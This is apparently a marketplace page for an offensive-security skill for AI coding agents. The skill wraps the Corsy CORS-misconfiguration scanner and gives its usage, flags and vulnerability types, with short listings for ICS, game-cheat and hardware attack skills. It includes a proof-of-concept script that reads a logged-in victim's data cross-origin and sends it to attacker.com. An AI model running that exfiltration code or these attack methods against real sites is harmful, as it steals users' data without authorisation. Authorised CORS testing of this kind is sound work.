offensive-tools/web-app/corsy/SKILL.md
CORS misconfiguration scanner that detects exploitable cross-origin resource sharing issues. Use when testing web apps for CORS vulnerabilities that could allow cross-origin data theft.
npx skillsauth add aeondave/malskill corsyInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
CORS misconfiguration scanner — detect exploitable cross-origin policy flaws.
pip install corsy
# Single URL
corsy -u https://target.com
# With authentication
corsy -u https://target.com -H "Authorization: Bearer TOKEN"
# Bulk scan from file
corsy -i urls.txt
# Output to JSON
corsy -u https://target.com --json > cors.json
| Flag | Purpose |
|------|---------|
| -u URL | Target URL |
| -i FILE | Input file with URLs |
| -H "K:V" | Custom header |
| -t N | Threads |
| -d N | Delay between requests (ms) |
| -q | Quiet (no banner) |
| --json | JSON output |
| Type | Condition |
|------|-----------|
| Reflected Origin | Any origin reflected back |
| Trusted Null | null origin trusted |
| Prefix Match | eviltarget.com accepted when target.com trusted |
| Suffix Match | notatarget.com accepted |
| Trusted Subdomain | All subdomains trusted |
| HTTP allowed | HTTP origin trusted on HTTPS endpoint |
Scan authenticated endpoint:
corsy -u https://api.target.com/user/profile -H "Cookie: session=abc123"
Verify with PoC:
<script>
fetch('https://api.target.com/user/data', {credentials:'include'})
.then(r=>r.text()).then(d=>fetch('https://attacker.com?d='+btoa(d)))
</script>
| File | When to load |
|------|--------------|
| references/ | CORS exploit PoC templates |
data-ai
Scoped routing: Linux operator; hosts, sessions, users, services, packages, logs, containers, SSH, network paths, privilege evidence.
development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).
tools
Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
development
Auth assessment: hardware/embedded methodology; UART/JTAG/SWD/SPI/I2C, firmware extraction, boot/debug paths, embedded OS evidence.